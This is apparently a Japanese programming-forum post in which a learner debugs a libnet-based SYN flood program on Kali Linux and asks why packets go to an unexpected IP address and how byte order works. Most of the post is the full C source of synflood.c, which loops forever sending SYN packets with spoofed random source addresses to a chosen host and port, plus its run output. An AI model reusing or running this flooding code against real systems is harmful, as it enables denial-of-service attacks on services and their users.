libnetで作成したデータについて で回答をいただいた後、試してみた結果、ipアドレスがうまく通っていないようです。(異なるipアドレスで実行し、tcpdumpでかくにんした所、どちらのipアドレスも、「76.137.233.137」が宛先となってしまいます。)
この「76.137.233.137」というアドレスは、一体何でしょうか?
また、以下のコードを付け加えた結果、以下のようになりました。「402000a」は、「10.0.2.4」のネットワークアドレスで問題ないでしょうか?
sudo ./synflood 10.0.2.4 7890
argv[1]: 10.0.2.4
argv[2]: -2005821230
dest_ip: 402000a
dest_port: 7890
SYN Flooding port 7890 of 10.0.2.4..
synflood.c
#include <string.h>
#include <netinet/in.h>
#include <libnet.h>
#include <arpa/inet.h>
#define FLOOD_DELAY 5000 //パケット注入の遅延時間は5000msである。
/* x.x.x.x形式のIPを返す*/
char *print_ip(uint32_t *ip_addr_ptr){
return inet_ntoa(*((struct in_addr *)ip_addr_ptr));
}
int main(int argc,char *argv[]){
uint32_t dest_ip,source;
uint16_t dest_port;
u_char errbuf[LIBNET_ERRBUF_SIZE], *pcap_errbuf, *packet;
int network, byte_count, packet_size = LIBNET_IPV4_H + LIBNET_TCP_H;
libnet_t *l;
if(argc<3){
printf("使用方法:\n%s\t <対象ホスト><対象ポート>\n",argv[0]);
exit(1);
}
//printf("device name: %s\n",alldevsp->name);
l = libnet_init(LIBNET_RAW4,"eth0",errbuf); //パケット酔うのメモリを割り当てる
if(l == NULL){
fprintf(stderr,"Error opening context: %s\n",errbuf);
exit(1);
}
**printf("argv[1]: %s\n",argv[1]);
printf("argv[2]: %d\n",argv[2]);**
dest_ip = libnet_name2addr4(l,argv[1],LIBNET_DONT_RESOLVE); //host
dest_port = (u_short)atoi(argv[2]); //ポート
**printf("dest_ip: %x\n",dest_ip);
printf("dest_port: %d\n",dest_port);**
if(libnet_seed_prand(l) == -1) //乱数生成器に種を与える
printf("Error libnet_seed_prand: %s\n",libnet_geterror(l));
printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));
libnet_ptag_t tag_ipv4 = 0; //libnet protocol block
libnet_ptag_t tag_tcp = 0; //libnet protocol block
while(1){ //永久ループ(CTRL-Cで終了されるまで)
if(tag_tcp = libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), //送信元TCPポート(乱数化)
dest_port, //宛先TCPポート
libnet_get_prand(LIBNET_PRu32), //シーケンス番号(乱数化)
libnet_get_prand(LIBNET_PRu32), //確認応答(ACK)番号(乱数化)
TH_SYN, //コントロールフラグ(SYNフラグのみ設定)
libnet_get_prand(LIBNET_PRu16), //ウィンドウサイズ(乱数化)
0, //checksum 0=autofill
0, //至急ポインタ
LIBNET_TCP_H, //header length
NULL, //ペイロード(なし)
0, //ペイロード長
l, //libnet context
0) == -1) //protocol tag
printf("Error building TCP header; %s\n",libnet_geterror(l));
if(tag_ipv4 = libnet_build_ipv4(packet_size, //IPヘッダを除いたパケットサイズ
IPTOS_LOWDELAY, //IP tos
libnet_get_prand(LIBNET_PRu16), //IP ID(乱数化)
0, //断片化
libnet_get_prand(LIBNET_PR8), //TTL(乱数化)
IPPROTO_TCP, //トランスポートプロトコル
0, //checksum 0=autofill
libnet_get_prand(LIBNET_PRu32), //送信元IP(乱数化)
dest_ip, //宛先IP(little endian)
NULL, //ペイロード(なし)
0, //ペイロード長
l, //libnet context
0) == -1) //protocol tag
printf("Error building IP header; %s\n",libnet_geterror(l));
if(libnet_write_raw_ipv4(l,packet,40) == -1){
printf("@Erro libnet_write: %s\n",libnet_geterror(l));
exit(1);
}
usleep(FLOOD_DELAY); //FLOOD_DEPLAYミリ秒待機する
}
libnet_destroy(l); //パケットメモリを開放する
return 0;
}
linnet_name2addr4()
からlibnet_build_ipv4()
へのipアドレスの受渡しは、ntohl()``などによる変換は、必要なかったです。l
innet_name2addr4()```で返ってくるバイトオーダのデータが、システム環境に従い、メモリへ保存されるということかと思います。(←確認していないですが。。。)使っているシステムが、kaliでlittle endianなので、変換が必要なかったのだろうと思います。試しに確認した方いれば、教えてください。